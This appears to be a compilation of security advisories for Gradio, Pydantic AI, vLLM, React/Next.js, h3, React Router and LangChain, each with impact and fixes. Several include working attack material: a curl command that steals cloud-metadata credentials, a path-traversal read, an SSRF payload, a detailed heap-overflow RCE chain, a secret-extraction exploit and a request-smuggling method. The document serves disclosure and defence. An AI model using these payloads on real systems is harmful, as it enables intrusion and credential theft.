Gradio has SSRF via Malicious `proxy_url` Injection in `gr.load()` Config Processing
Summary
A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.
Details
The vulnerability exists in Gradio's config processing flow when loading external Spaces:
1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.
2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:
``python
if config.get("proxy_url"):
self.proxy_urls.add(config["proxy_url"])
`
3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:
`python
@router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
async def reverse_proxy(url_path: str):
`
4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:
`python
is_safe_url = any(
url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
)
`
An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.
PoC
Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6
1. Attacker creates a malicious Gradio Space that returns this config:
`python
{
"mode": "blocks",
"components": [...],
"proxy_url": "http://169.254.169.254/" # AWS metadata endpoint
}
`
2. Victim loads the malicious Space:
`python
import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)
`
3. Attacker exploits the proxy:
`bash
Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"
`
Impact
Who is impacted:
Any Gradio application that uses gr.load()` to load external/untrusted Spaces
HuggingFace Spaces that compose or embed other Spaces
Enterprise deployments where Gradio apps have access to internal networks
Attack scenarios:
Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
Internal service access: Reach databases, admin panels, and APIs on private networks
Network reconnaissance: Map internal infrastructure through the victim
Data exfiltration: Access sensitive internal APIs and services
Gradio is Vulnerable to Absolute Path Traversal on Windows with Python 3.13+
Summary
Gradio apps running on Window with Python 3.13+ are vulnerable to an absolute path traversal issue that enables unauthenticated attackers to read arbitrary files from the file system.
Details
Python 3.13+ changed the definition of os.path.isabs so that root-relative paths like /windows/win.ini on Windows are no longer considered absolute paths, resulting in a vulnerability in Gradio's logic for joining paths safely.
This can be exploited by unauthenticated attackers to read arbitrary files from the Gradio server, even when Gradio is set up with authentication.
PoC
``
% curl http://10.10.10.10:7860/static//windows/win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
``
Impact
Arbitrary file read in the context of the Windows user running Gradio.
Pydantic AI has Stored XSS via Path Traversal in Web UI CDN URL
Summary
A Path Traversal vulnerability in the Pydantic AI web UI allows an attacker to serve arbitrary JavaScript in the context of the application by crafting a malicious URL. If a victim clicks the link or visits it via an iframe, attacker-controlled code executes in their browser, enabling theft of chat history and other client-side data.
This vulnerability only affects applications that use:
Agent.to_web to serve a chat interface
clai web to serve a chat interface from the CLI
These are typically run locally (on localhost), but may also be deployed on a remote server.
Description
The web UI serves its frontend HTML by fetching it from a CDN. In affected versions, the CDN URL is constructed using a version query parameter from the request URL. This parameter is not validated, allowing path traversal sequences that cause the server to fetch and serve attacker-controlled HTML/JavaScript from an arbitrary source on the same CDN, instead of the legitimate chat UI package.
Who Is Affected
Projects are affected if your application uses Agent.to_web or clai web to serve the Pydantic AI chat interface.
Attack Scenario
1. An attacker crafts a URL pointing to the victim's Pydantic AI web UI instance (either localhost with the known port, or a remote server endpoint) with a malicious version query parameter containing path traversal sequences.
2. The attacker gets the victim to visit this URL — directly via a link, through a redirect, or by embedding it in an iframe.
3. When the victim's browser loads the page, the server fetches and serves attacker-controlled HTML/JavaScript instead of the legitimate chat UI.
4. The attacker's JavaScript executes in the victim's browser in the context of the Pydantic AI web application, with access to:
Chat history stored in localStorage (all user messages and AI responses)
Session cookies that are not set as HttpOnly, if authentication middleware is configured
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix removes the user-controllable version parameter entirely. The CDN URL is now hardcoded at startup and cannot be influenced by request parameters.
A new html_source parameter is available on Agent.to_web and create_web_app for applications that need to customize the UI source (e.g., for enterprise environments, offline usage, or custom UI builds). This parameter is only settable in application code, not via query parameters.
Pydantic AI has Server-Side Request Forgery (SSRF) in URL Download Handling
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in Pydantic AI's URL download functionality. When applications accept message history from untrusted sources, attackers can include malicious URLs that cause the server to make HTTP requests to internal network resources, potentially accessing internal services or cloud credentials.
This vulnerability only affects applications that accept message history from external users, such as those using:
Agent.to_web or clai web to serve a chat interface
VercelAIAdapter for Vercel AI SDK integration
AGUIAdapter or Agent.to_ag_ui for AG-UI protocol integration
Custom APIs that accept message history from user input
Applications that only use hardcoded or developer-controlled URLs are not affected.
Description
The download_item() helper function downloads content from URLs without validating that the target is a public internet address. When user-supplied message history contains URLs, attackers can:
1. Access internal services: Request http://127.0.0.1, localhost, or private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x)
2. Steal cloud credentials: Access cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure, Alibaba Cloud)
3. Scan internal networks: Enumerate internal hosts and ports
Who Is Affected
You are affected if your application:
1. Uses Agent.to_web or clai web - The web interface accepts file attachments via the Vercel AI Data Stream Protocol, where users can provide arbitrary URLs through chat messages.
2. Uses VercelAIAdapter - Chat interfaces built with Vercel AI SDK allow users to submit messages containing URLs that are processed server-side.
3. Uses AGUIAdapter or Agent.to_ag_ui - The AG-UI protocol allows users to provide file references with URLs as part of agent interactions.
4. Exposes a custom API accepting message history - Any endpoint that accepts message history or ImageUrl, AudioUrl, VideoUrl, DocumentUrl objects from user input.
Attack Scenario
Via chat interface, an attacker submits a message with a file attachment pointing to an internal resource:
``json
{
"role": "user",
"parts": [
{"type": "file", "mediaType": "image/png", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
]
}
`
Affected Model Integrations
Multiple model integrations download URL content in certain conditions:
| Provider | Downloaded Types |
|----------|------------------|
| OpenAIChatModel | AudioUrl, DocumentUrl |
| AnthropicModel | DocumentUrl (text/plain) |
| GoogleModel (GLA) | All URL types (except YouTube and Files API URLs) |
| XaiModel | DocumentUrl |
| BedrockConverseModel | ImageUrl, DocumentUrl, VideoUrl (non-S3 URLs) |
| OpenRouterModel | AudioUrl |
Remediation
Upgrade to Patched Version
Upgrade to the patched version or later. The fix adds comprehensive SSRF protection:
Blocks private/internal IP addresses by default
Always blocks cloud metadata endpoints (even with allow-local)
Only allows http:// and https:// protocols
Resolves hostnames before requests to prevent DNS rebinding
Validates each redirect target
New force_download='allow-local' Option
If an application legitimately needs to access local/private network resources (e.g., in a fully trusted internal environment), it can explicitly opt in:
`python
from pydantic_ai import ImageUrl
Default behavior: private IPs are blocked
ImageUrl(url="http://internal-service/image.png") # Raises ValueError
Opt-in to allow local access (use with caution)
ImageUrl(url="http://internal-service/image.png", force_download='allow-local')
`
Important: Cloud metadata endpoints (169.254.169.254, fd00:ec2::254, 100.100.100.200) are always blocked, even with allow-local.
Workaround for Older Versions
If a project cannot upgrade immediately, use a history processor to filter out URLs targeting local/private addresses:
`python
import ipaddress
import socket
from urllib.parse import urlparse
from pydantic_ai import Agent, ModelMessage, ModelRequest
from pydantic_ai.messages import AudioUrl, DocumentUrl, ImageUrl, VideoUrl
def is_private_url(url: str) -> bool:
"""Check if a URL targets a private/internal IP address."""
try:
parsed = urlparse(url)
hostname = parsed.hostname
if not hostname:
return True # Invalid URL, block it
# Resolve hostname to IP
ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
# Block private, loopback, and link-local addresses
return ip.is_private or ip.is_loopback or ip.is_link_local
except (socket.gaierror, ValueError):
return True # DNS resolution failed, block it
def filter_private_urls(messages: list[ModelMessage]) -> list[ModelMessage]:
"""Remove URL parts that target private/internal addresses."""
url_types = (ImageUrl, AudioUrl, VideoUrl, DocumentUrl)
filtered = []
for msg in messages:
if isinstance(msg, ModelRequest):
safe_parts = [
part for part in msg.parts
if not (isinstance(part, url_types) and is_private_url(part.url))
]
if safe_parts:
filtered.append(ModelRequest(parts=safe_parts))
else:
filtered.append(msg)
return filtered
Apply the filter to your agent
agent = Agent('openai:gpt-5', history_processors=[filter_private_urls])
`
Technical Details of the Fix
The fix introduces a new _ssrf.py module with comprehensive protection:
1. Protocol validation: Only http:// and https:// allowed
2. DNS resolution before request: Prevents DNS rebinding attacks
3. Private IP blocking (by default):
127.0.0.0/8, ::1/128 (loopback)
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (private)
169.254.0.0/16, fe80::/10 (link-local)
100.64.0.0/10 (CGNAT)
fc00::/7 (unique local)
2002::/16 (6to4, can embed private IPv4)
4. Cloud metadata always blocked: 169.254.169.254, fd00:ec2::254, 100.100.100.200`
5. Safe redirect handling: Each redirect validated before following (max 10)
vLLM has RCE In Video Processing
Summary
A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):
1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR
2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution
Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server
Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth.
Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1.
Deployments not serving a video model are not affected.
---
1. Vulnerability Overview
1.1 The Bug: JPEG2000 cdef Box Heap Overflow
The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.
Root Cause
cdef allows channel remapping (e.g., Y→U, U→Y).
Y plane size: W×H; U plane size: (W/2)×(H/2).
Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes.
Example (150×64)
Y plane: 150×64 = 9,600 bytes
U plane: 75×32 = 2,400 bytes
Overflow: 7,200 bytes past the U buffer
1.2 Malicious cdef Box
``
Offset Size Field Value
0 4 Box Length 0x00000016 (22 bytes)
4 4 Box Type 'cdef'
8 2 N (channels) 0x0003
10 2 Channel 0 Cn 0x0000 (Y channel)
12 2 Channel 0 Typ 0x0000 (color)
14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane)
16 2 Channel 1 Cn 0x0001 (U channel)
18 2 Channel 1 Typ 0x0000 (color)
20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane)
22 2 Channel 2 Cn 0x0002 (V channel)
24 2 Channel 2 Typ 0x0000 (color)
26 2 Channel 2 Asoc 0x0003 (→ maps V plane)
`
Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow.
---
Vulnerable Code Chain
1) Entry: vLLM accepts a remote video_url and downloads raw bytes
vLLM’s OpenAI-compatible API supports a video_url content part:
`python
class VideoURL(TypedDict, total=False):
url: Required[str]
class ChatCompletionContentPartVideoParam(TypedDict, total=False):
video_url: Required[VideoURL]
type: Required[Literal["video_url"]]
`
Source: src/vllm/entrypoints/chat_utils.py.
When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader:
`python
if url_spec.scheme.startswith("http"):
data = connection.get_bytes(url, timeout=fetch_timeout, allow_redirects=...)
return media_io.load_bytes(data)
`
Source: src/vllm/multimodal/utils.py (MediaConnector.load_from_url).
---
2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream
The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes:
`python
backend = cls().get_cv2_video_api()
cap = cv2.VideoCapture(BytesIO(data), backend, [])
if not cap.isOpened():
raise ValueError("Could not open video stream")
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.load_bytes).
The backend is selected from OpenCV’s stream-buffered backends registry:
`python
import cv2.videoio_registry as vr
for backend in vr.getStreamBufferedBackends():
if vr.hasBackend(backend) and ...:
api_pref = backend
break
return api_pref
`
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.get_cv2_video_api).
Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).
---
3) The actual overflow: Y (full-res) written into U (quarter-res)
When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes:
Y plane bytes: \(W \times H\)
U plane bytes: \((W/2) \times (H/2)\)
Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\)
Concrete example tried (150×64):
Y: \(150 \times 64 = 9600\) bytes
U: \(75 \times 32 = 2400\) bytes
Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation
This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.
---
The Exploit Chain
Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)
When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like:
`
cannot identify image file <_io.BytesIO object at 0x7a95e299e750>
^^^^^^^^^^^^^^^^
LEAKED ADDRESS!
`
vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses.
Vuln 2: JPEG2000 cdef Heap Overflow (RCE)
vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:
`
vLLM API Request to Completions/Invocation
↓
OpenCV cv2.VideoCapture()
↓
FFmpeg 5.1 (bundled in OpenCV)
↓
JPEG2000 decoder (libopenjp2)
↓
HEAP OVERFLOW via malicious "cdef" box
↓
Overwrite function pointer → RCE!
`
How the overflow works:
JPEG2000 has a cdef box that remaps color channels
We remap Y (luma) into the U (chroma) buffer
Y plane = 9,600 bytes, U plane = 2,400 bytes
On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images.
This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets.
We set free = system() and opaque = "command string"
When the buffer is freed → system("our command") executes
---
vLLM Attack Surface
Affected Endpoints
Both multimodal endpoints are vulnerable:
`
POST /v1/chat/completions (with video_url in content)
POST /v1/invocations (with video_url in content)
`
Request Flow
`
1. Attacker sends request with video_url pointing to malicious .mov file
2. vLLM fetches the video from the URL
3. vLLM passes video bytes to cv2.VideoCapture()
4. OpenCV's bundled FFmpeg decodes JPEG2000 frames
5. Malicious cdef box triggers heap overflow
6. AVBuffer.free pointer overwritten with system()
7. When buffer is released → system("attacker command") executes
``
---
Versions Affected
| Component | Version | Notes |
|-----------|---------|-------|
| vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model |
| OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable |
| FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow |
| libopenjp2 | 2.x | Honors malicious cdef box |
---
Fixes
https://github.com/vllm-project/vllm/pull/31987
https://github.com/vllm-project/vllm/pull/32319
https://github.com/vllm-project/vllm/pull/32668
React Server Components have multiple Denial of Service Vulnerabilities
Impact
It was found that the fixes to address DoS in React Server Components were incomplete and we found multiple denial of service vulnerabilities still exist in React Server Components.
We recommend updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1, 19.0.2, 19.0.3, 19.1.0, 19.1.1, 19.1.2, 19.1.3, 19.1.4, 19.2.0, 19.2.1, 19.2.2, 19.2.3 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
The vulnerabilities are triggered by sending specially crafted HTTP requests to Server Function endpoints, and could lead to server crashes, out-of-memory exceptions or excessive CPU usage; depending on the vulnerable code path being exercised, the application configuration and application code.
Patches
Fixes were back ported to versions 19.0.4, 19.1.5, and 19.2.4.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
vLLM vulnerable to Server-Side Request Forgery (SSRF) through MediaConnector
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The load_from_url and load_from_url_async methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Details
The core of the vulnerability lies in the MediaConnector.load_from_url method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
> def load_from_url(
> self,
> url: str,
> media_io: MediaIO[_M],
> ,
> fetch_timeout: int | None = None,
> ) -> _M: # type: ignore[type-var]
> url_spec = urlparse(url)
>
> if url_spec.scheme.startswith("http"):
> self._assert_url_in_allowed_media_domains(url_spec)
>
> connection = self.connection
> data = connection.get_bytes(
> url,
> timeout=fetch_timeout,
> allow_redirects=envs.VLLM_MEDIA_URL_ALLOW_REDIRECTS,
> )
>
> return media_io.load_bytes(data)
The URL validation uses the urlparse function from Python's urllib module, while the request is made using the request function from Python's requests module. The requests module's underlying URL parsing is implemented using the parse_url function from Python's urllib3. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (\) in URLs, which allows the hostname restriction to be bypassed.
Fix
https://github.com/vllm-project/vllm/pull/32746
Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components
A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as CVE-2026-23864.
A specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.
vLLM affected by RCE via auto_map dynamic module loading during model initialization
Summary
vLLM loads Hugging Face auto_map dynamic modules during model resolution without gating on trust_remote_code, allowing attacker-controlled Python code in a model repo/path to execute at server startup.
---
Impact
An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load.
This happens before any request handling and does not require API access.
---
Affected Versions
All versions where vllm/model_executor/models/registry.py resolves auto_map entries with try_get_class_from_dynamic_module without checking trust_remote_code (at least current main).
---
Details
During model resolution, vLLM unconditionally iterates auto_map entries from the model config and calls try_get_class_from_dynamic_module, which delegates to Transformers’ get_class_from_dynamic_module and executes the module code.
This occurs even when trust_remote_code is false, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.
Relevant code
vllm/model_executor/models/registry.py:856 — auto_map resolution
vllm/transformers_utils/dynamic_module.py:13 — delegates to get_class_from_dynamic_module, which executes code
---
Fixes
https://github.com/vllm-project/vllm/pull/32194
Credits
Reported by bugbunny.ai
h3 v1 has Request Smuggling (TE.TE) issue
I was digging into h3 v1 (specifically v1.15.4) and found a critical HTTP Request Smuggling vulnerability.
Basically, readRawBody is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for "chunked", but per the RFC, this header should be case-insensitive.
The Bug: If I send a request with Transfer-Encoding: ChuNked (mixed case), h3 misses it. Since it doesn't see "chunked" and there's no Content-Length, it assumes the body is empty and processes the request immediately.
This leaves the actual body sitting on the socket, which triggers a classic TE.TE Desync (Request Smuggling) if the app is running behind a Layer 4 proxy or anything that doesn't normalize headers (like AWS NLB or Node proxies).
Vulnerable Code (src/utils/body.ts):
``js
if (
!Number.parseInt(event.node.req.headers["content-length"] || "") &&
!String(event.node.req.headers["transfer-encoding"] ?? "")
.split(",")
.map((e) => e.trim())
.filter(Boolean)
.includes("chunked") // <--- This is the issue. "ChuNkEd" returns false here.
) {
return Promise.resolve(undefined);
}
`
I verified this locally:
Sent a Transfer-Encoding: ChunKed request without a closing 0 chunk.
Express hangs (correctly waiting for data).
h3 responds immediately (vulnerable, thinks body is length 0).
Impact: Since H3/Nuxt/Nitro is often used in containerized setups behind TCP load balancers, an attacker can use this to smuggle requests past WAFs or desynchronize the socket to poison other users' connections.
Fix: Just need to normalize the header value before checking: .map((e) => e.trim().toLowerCase())`
vLLM introduced enhanced protection for CVE-2025-62164
Summary
The fix here for CVE-2025-62164 is not sufficient. The fix only disables prompt embeds by default rather than addressing the root cause, so the DoS vulnerability remains when the feature is enabled.
Details
vLLM's pending change attempts to fix the root cause, which is the missing sparse tensor validation. PyTorch (~v2.0) disables sparse tensor validation (specifically, sparse tensor invariants checks) by default for performance reasons. vLLM is adding the sparse tensor validation to ensure indices are valid, non-negative, and within bounds. These checks help catch malformed tensors.
PoC
NA
Impact
Current fix only added a flag to disable/enable prompt embeds, so by default, prompt embeds feature is disabled in vLLM, which stops DoS attacks through the embeddings. However, It doesn’t address the problem when the flag is enabled and there is still potential for DoS attacks.
Changes
https://github.com/vllm-project/vllm/pull/30649
OWASP A03OWASP A08LLM01 · Prompt InjectionLLM05 · Supply Chain
Get guardrail →React Router vulnerable to XSS via Open Redirects
React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect.
> [!NOTE]
> This does not impact applications that use Declarative Mode (<BrowserRouter>).
React Router SSR XSS in ScrollRestoration
A XSS vulnerability exists in in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the keys.
> [!NOTE]
> This does not impact applications if developers have disabled server-side rendering in Framework Mode, or if they are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
React Router has XSS Vulnerability
A XSS vulnerability exists in in React Router's meta()/<Meta> APIs in Framework Mode when generating script:ld+json tags which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the tag.
> [!NOTE]
> This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
LangChain serialization injection vulnerability enables secret extraction in dumps/loads APIs
Summary
A serialization injection vulnerability exists in LangChain's dumps() and dumpd() functions. The functions do not escape dictionaries with 'lc' keys when serializing free-form dictionaries. The 'lc' key is used internally by LangChain to mark serialized objects. When user-controlled data contains this key structure, it is treated as a legitimate LangChain object during deserialization rather than plain user data.
Attack surface
The core vulnerability was in dumps() and dumpd(): these functions failed to escape user-controlled dictionaries containing 'lc' keys. When this unescaped data was later deserialized via load() or loads(), the injected structures were treated as legitimate LangChain objects rather than plain user data.
This escaping bug enabled several attack vectors:
1. Injection via user data: Malicious LangChain object structures could be injected through user-controlled fields like metadata, additional_kwargs, or response_metadata
2. Class instantiation within trusted namespaces: Injected manifests could instantiate any Serializable subclass, but only within the pre-approved trusted namespaces (langchain_core, langchain, langchain_community). This includes classes with side effects in __init__ (network calls, file operations, etc.). Note that namespace validation was already enforced before this patch, so arbitrary classes outside these trusted namespaces could not be instantiated.
Security hardening
This patch fixes the escaping bug in dumps() and dumpd() and introduces new restrictive defaults in load() and loads(): allowlist enforcement via allowed_objects="core" (restricted to serialization mappings), secrets_from_env changed from True to False, and default Jinja2 template blocking via init_validator. These are breaking changes for some use cases.
Who is affected?
Applications are vulnerable if they:
1. Use astream_events(version="v1") — The v1 implementation internally uses vulnerable serialization. Note: astream_events(version="v2") is not vulnerable.
2. Use Runnable.astream_log() — This method internally uses vulnerable serialization for streaming outputs.
3. Call dumps() or dumpd() on untrusted data, then deserialize with load() or loads() — Trusting your own serialization output makes you vulnerable if user-controlled data (e.g., from LLM responses, metadata fields, or user inputs) contains 'lc' key structures.
4. Deserialize untrusted data with load() or loads() — Directly deserializing untrusted data that may contain injected 'lc' structures.
5. Use RunnableWithMessageHistory — Internal serialization in message history handling.
6. Use InMemoryVectorStore.load() to deserialize untrusted documents.
7. Load untrusted generations from cache using langchain-community caches.
8. Load untrusted manifests from the LangChain Hub via hub.pull.
9. Use StringRunEvaluatorChain on untrusted runs.
10. Use create_lc_store or create_kv_docstore with untrusted documents.
11. Use MultiVectorRetriever with byte stores containing untrusted documents.
12. Use LangSmithRunChatLoader with runs containing untrusted messages.
The most common attack vector is through LLM response fields like additional_kwargs or response_metadata, which can be controlled via prompt injection and then serialized/deserialized in streaming operations.
Impact
Attackers who control serialized data can extract environment variable secrets by injecting {"lc": 1, "type": "secret", "id": ["ENV_VAR"]} to load environment variables during deserialization (when secrets_from_env=True, which was the old default). They can also instantiate classes with controlled parameters by injecting constructor structures to instantiate any class within trusted namespaces with attacker-controlled parameters, potentially triggering side effects such as network calls or file operations.
Key severity factors:
Affects the serialization path - applications trusting their own serialization output are vulnerable
Enables secret extraction when combined with secrets_from_env=True (the old default)
LLM responses in additional_kwargs can be controlled via prompt injection
Exploit example
``python
from langchain_core.load import dumps, load
import os
Attacker injects secret structure into user-controlled data
attacker_dict = {
"user_data": {
"lc": 1,
"type": "secret",
"id": ["OPENAI_API_KEY"]
}
}
serialized = dumps(attacker_dict) # Bug: does NOT escape the 'lc' key
os.environ["OPENAI_API_KEY"] = "sk-secret-key-12345"
deserialized = load(serialized, secrets_from_env=True)
print(deserialized["user_data"]) # "sk-secret-key-12345" - SECRET LEAKED!
`
Security hardening changes (breaking changes)
This patch introduces three breaking changes to load() and loads():
1. New allowed_objects parameter (defaults to 'core'): Enforces allowlist of classes that can be deserialized. The 'all' option corresponds to the list of objects specified in mappings.py while the 'core' option limits to objects within langchain_core. We recommend that users explicitly specify which objects they want to allow for serialization/deserialization.
2. secrets_from_env default changed from True to False: Disables automatic secret loading from environment
3. New init_validator parameter (defaults to default_init_validator): Blocks Jinja2 templates by default
Migration guide
No changes needed for most users
If you're deserializing standard LangChain types (messages, documents, prompts, trusted partner integrations like ChatOpenAI, ChatAnthropic, etc.), your code will work without changes:
`python
from langchain_core.load import load
Uses default allowlist from serialization mappings
obj = load(serialized_data)
`
For custom classes
If you're deserializing custom classes not in the serialization mappings, add them to the allowlist:
`python
from langchain_core.load import load
from my_package import MyCustomClass
Specify the classes you need
obj = load(serialized_data, allowed_objects=[MyCustomClass])
`
For Jinja2 templates
Jinja2 templates are now blocked by default because they can execute arbitrary code. If you need Jinja2 templates, pass init_validator=None:
`python
from langchain_core.load import load
from langchain_core.prompts import PromptTemplate
obj = load(
serialized_data,
allowed_objects=[PromptTemplate],
init_validator=None
)
`
> [!WARNING]
> Only disable init_validator if you trust the serialized data. Jinja2 templates can execute arbitrary Python code.
For secrets from environment
secrets_from_env now defaults to False. If you need to load secrets from environment variables:
`python
from langchain_core.load import load
obj = load(serialized_data, secrets_from_env=True)
``
Credits
Dumps bug was reported by @yardenporat
Changes for security hardening due to findings from @0xn3va and @VladimirEliTokarev
Next has a Denial of Service with Server Components - Incomplete Fix Follow-Up
It was discovered that the fix for CVE-2025-55184 in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types. As a result, certain crafted inputs could still trigger excessive resource consumption.
This vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as CVE-2025-67779.
A malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.
Denial of Service Vulnerability in React Server Components
Impact
It was found that the fix to address CVE-2025-55184 in React Server Components was incomplete and does not prevent a denial of service attack in a specific case.
We recommend updating immediately.
The vulnerability exists in versions 19.0.2, 19.1.3, and 19.2.2 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
These issues are present in the patches published on December 11th, 2025.
Patches
Fixes were back ported to versions 19.0.3, 19.1.4, and 19.2.3.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Next Vulnerable to Denial of Service with Server Components
A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as CVE-2025-55184.
A malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.
Denial of Service Vulnerability in React Server Components
Impact
There is a denial of service vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
